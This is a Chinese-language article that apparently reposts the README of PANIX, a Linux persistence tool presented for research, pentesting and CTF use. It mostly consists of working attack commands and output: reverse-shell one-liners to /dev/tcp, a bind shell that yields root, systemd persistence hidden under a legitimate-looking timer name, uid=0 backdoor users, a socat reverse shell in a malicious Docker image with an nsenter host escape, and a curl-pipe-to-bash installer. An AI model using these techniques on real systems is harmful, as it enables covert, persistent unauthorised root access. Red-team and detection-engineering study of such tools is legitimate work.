关于PANIX
PANIX是是一款高度可定制的 Linux 持久性工具,可用于安全研究、检测工程、渗透测试、CTF 等。
它优先考虑功能性而非隐身性,并且功能非常强大。PANIX 支持 Debian、Ubuntu 和 RHEL 等流行发行版,并且高度可定制以适应各种操作系统环境。PANIX 将与在野外观察到的最常见的 *nix 持久性机制保持同步。
功能介绍
PANIX 提供了一套多功能的功能用于模拟和研究 Linux 持久性机制:
功能 | 描述 | Root | 用户 |
任务持久化 | 任务持久化 | ✓ | ✓ |
授权密钥持久性 | 将公钥添加到授权密钥 | ✓ | ✓ |
后门用户 | 创建uid=0的后门用户 | ✓ | ✗ |
绑定 Shell | 执行后台绑定 shell | ✓ | ✓ |
后门功能 | 添加持久性功能 | ✓ | ✗ |
Cron Job 持久化 | Cron 任务持久化 | ✓ | ✓ |
创建用户 | 创建新用户 | ✓ | ✗ |
Git 持久性 | Git hook/pager 持久性 | ✓ | ✓ |
生成器持久性 | Systemd 生成器持久性 | ✓ | ✗ |
Init.d后门 | SysV Init(init.d)持久性 | ✓ | ✗ |
恶意包后门 | DPKG/RPM 包持久性 | ✓ | ✗ |
Docker 容器后门 | 带主机逃逸的 Docker 容器 | ✓ | ✓ |
MOTD 后门 | 每日消息 (MOTD) 持久性 | ✓ | ✗ |
包管理器持久性 | 包管理器持久性(APT/YUM/DNF) | ✓ | ✗ |
/etc/passwd 修改 | 直接将用户添加到/etc/passwd | ✓ | ✗ |
密码更改 | 更改用户密码 | ✓ | ✗ |
RC.local后门 | 运行控制(rc.local)持久性 | ✓ | ✗ |
Shell 配置文件持久性 | Shell 配置文件持久性 | ✓ | ✓ |
SSH 密钥持久性 | SSH 密钥持久性 | ✓ | ✓ |
Sudoers 后门 | Sudoers 持久性 | ✓ | ✗ |
SUID 后门 | SUID 持久性 | ✓ | ✗ |
系统二进制后门 | 系统二进制包装以实现持久性 | ✓ | ✗ |
Systemd 服务持久性 | Systemd 服务持久性 | ✓ | ✓ |
Udev 持久性 | Udev(驱动程序)持久性 | ✓ | ✗ |
XDG 自动启动持久性 | XDG 自动启动持久性 | ✓ | ✓ |
支持的操作系统
PANIX 为各种 Linux 发行版提供全面支持:
发行版 | 支持 | 已测试 |
Debian | ✓ | 在 Debian 11 和 12 上经过全面测试 |
Ubuntu | ✓ | 在 Ubuntu 22.04 上进行了全面测试 |
红帽企业版 | ✓ | 在 RHEL 9 上进行了全面测试(MOTD 不可用) |
CentOS | ✓ | 在 CentOS Stream 9、7 上进行了全面测试(MOTD 不可用) |
Fedora | ✓ | 未经过全面测试 |
Arch Linux | ✓ | 未经过全面测试 |
OpenSUSE | ✓ | 未经过全面测试 |
工具安装
启动并运行 PANIX 非常简单,只需从【发布页面】下载脚本并执行它即可。
或者运行下列命令直接安装:
curl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v1.0.0/panix.sh | bash
除此之外,广大研究人员也可以手动完成工具的下载、安装和授权:
# 通过curl或wget下载 curl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v1.0.0/panix.sh -o panix.sh wget https://github.com/Aegrah/PANIX/releases/download/panix-v1.0.0/panix.sh -O panix.sh # 给工具脚本提供可执行权限并执行脚本 chmod +x panix.sh ./panix.sh
执行脚本将显示root或user帮助菜单,具体取决于当前用户的权限:
工具使用
每个持久性机制都有一个单独的帮助菜单:
root@ubuntu2204:/home/ruben# ./panix.sh --udev --help Usage: ./panix.sh --udev [OPTIONS] --examples 显示命令样例 --default 使用默认配置 --ip <ip> 指定IP地址 --port <port> 指定端口号 --at | --cron | --systemd 指定要使用的持久性机制 --custom 使用自定义配置 --command <command> 指定自定义命令 --path <path> 指定自定义路径
每个持久性机制还具有一个--examples参数,显示默认和自定义示例,帮助您制定适合您的命令:
root@ubuntu2204:/home/ruben# ./panix.sh --git --examples Examples: --default: ./panix.sh --git --default --ip 10.10.10.10 --port 1337 --hook|--pager --custom: ./panix.sh --git --custom --command "(nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' > /dev/null 2>&1 &) &" --path "gitdir/.git/hooks/pre-commit" --hook ./panix.sh --git --custom --command "nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' > /dev/null 2>&1 & ${PAGER:-less}" --path "~/.gitconfig --pager"
只需执行以下命令即可设置 systemd 持久性:
root@ubuntu2204:/home/ruben# ./panix.sh --systemd --default --ip 10.10.10.10 --port 1337 Service file created successfully! Timer file created successfully! Created symlink /etc/systemd/system/timers.target.wants/dbus-org.freedesktop.resolved.timer → /usr/local/lib/systemd/system/dbus-org.freedesktop.resolved.timer. [+] Systemd service persistence established!
设置持久性机制时,脚本将让您知道它是否有效,并且在需要信息来使用持久性机制的情况下,将提供其他信息。例如绑定 shell 机制:
root@ubuntu2204:/home/ruben# ./panix.sh --bind-shell --default --architecture x64 [+] Bind shell binary /tmp/bd64 created and executed in the background. [+] The bind shell is listening on port 9001. [+] To interact with it from a different system, use: nc -nv <IP> 9001 [+] Bind shell persistence established!
允许您与绑定 shell 进行交互:
❯ nc -nv 192.168.211.130 9001 (UNKNOWN) [192.168.211.130] 9001 (?) open whoami root
对于具有附加内置功能的机制也是如此,例如 Docker 持久性机制,具有内置的Root主机逃逸:
ruben@ubuntu2204:~$ sudo ./panix.sh --docker-container --ip 192.168.211.131 --port 330 [+] Building 10.4s (9/9) FINISHED docker:default => [internal] load build definition from Dockerfile 0.0s => => transferring dockerfile: 722B 0.0s => [internal] load metadata for docker.io/library/alpine:latest 2.1s => [internal] load .dockerignore 0.0s => => transferring context: 2B 0.0s => [1/5] FROM docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 0.8s => => resolve docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 0.0s => => sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 1.85kB / 1.85kB 0.0s => => sha256:dabf91b69c191a1a0a1628fd6bdd029c0c4018041c7f052870bb13c5a222ae76 528B / 528B 0.0s => => sha256:a606584aa9aa875552092ec9e1d62cb98d486f51f389609914039aabd9414687 1.47kB / 1.47kB 0.0s => => sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99 3.62MB / 3.62MB 0.4s => => extracting sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99 0.2s => [2/5] RUN apk add --no-cache bash socat sudo util-linux procps 4.4s => [3/5] RUN adduser -D lowprivuser 0.6s => [4/5] RUN echo '#!/bin/bash' > /usr/local/bin/entrypoint.sh && echo 'while true; do /bin/bash -c "socat exec:\"/bin/bash\",pty,stderr,setsid,sigint,sane tcp:192.168.211.131:330" 0.8s => [5/5] RUN echo '#!/bin/bash' > /usr/local/bin/escape.sh && echo 'sudo nsenter -t 1 -m -u -i -n -p -- su -' >> /usr/local/bin/escape.sh && chmod +x /usr/local/bin/escape.sh && ec 0.8s => exporting to image 0.6s => => exporting layers 0.6s => => writing image sha256:b36eb0d13ee1a0c57c3e6a1ee0255ef474986f44d65b177c539b2ffb1d248790 0.0s => => naming to docker.io/library/malicious-container 0.0s 86ce6b00e872bb8c21d0dae21e747e830bb70b44ab7946558e563bf7f4b626ef [+] Persistence through malicious Docker container complete. [+] To escape the container with root privileges, run '/usr/local/bin/escape.sh'.
下列命令展示了如何逃离容器并访问主机:
❯ nc -nvlp 330 listening on [any] 330 ... connect to [192.168.211.131] from (UNKNOWN) [192.168.211.130] 43400 86ce6b00e872:/$ /usr/local/bin/escape.sh /usr/local/bin/escape.sh root@ubuntu2204:~#
PANIX 可以通过--revert命令清理大部分垃圾:
root@ubuntu2204:/home/ruben# ./panix.sh --revert [*] Running as root... [*] Cleaning Systemd persistence methods... [+] Successfully cleaned persistence method Systemd [*] Cleaning Cron persistence methods... [+] Successfully cleaned persistence method Cron ... [*] Cleaning Docker persistence methods... [+] Successfully cleaned persistence method Docker [*] Cleaning Malicious package persistence methods... [+] Successfully cleaned persistence method Malicious package
许可证协议
本项目的开发与发布遵循MIT开源许可协议。
项目地址
PANIX:【GitHub传送门】